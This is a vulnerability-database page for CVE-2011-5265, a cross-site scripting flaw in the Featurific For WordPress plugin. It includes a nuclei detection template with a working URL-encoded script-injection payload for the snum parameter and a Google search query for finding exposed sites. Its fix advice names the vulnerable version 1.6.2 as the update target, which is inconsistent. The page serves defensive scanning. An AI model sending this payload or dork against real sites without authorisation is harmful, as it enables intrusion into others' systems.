HexBrain

Browse / CVEs / CVE-2011-5265

CVE-2011-5265· featurific for wordpress project / featurific-for-wordpress· CWE-79

Featurific For WordPress 1.6.2 - Cross-Site Scripting

mediumseverity
4.3CVSS score
10%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in cached_image.php in the Featurific For WordPress plugin 1.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the snum parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the Featurific For WordPress plugin (1.6.2) or apply the vendor-supplied patch to fix the vulnerability.

How to confirm it

Send: GET /wp-content/plugins/featurific-for-wordpress/readme.txt
Positive when: contains "Featurific For Wordpress"
Send: GET {{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2011-5265 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-5265

info:
  name: Featurific For WordPress 1.6.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in cached_image.php in the Featurific For WordPress plugin 1.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the snum parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Featurific For WordPress plugin (1.6.2) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5265
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71468
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5265
    cwe-id: CWE-79
    epss-score: 0.09964
    epss-percentile: 0.95634
    cpe: cpe:2.3:a:featurific_for_wordpress_project:featurific-for-wordpress:1.6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "featurific_for_wordpress_project"
    product: "featurific-for-wordpress"
    google-query: "inurl:\"/wp-content/plugins/featurific-for-wordpress\""
  tags: cve2011,cve,wordpress,xss,wp-plugin,featurific_for_wordpress_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/featurific-for-wordpress/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Featurific For Wordpress'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from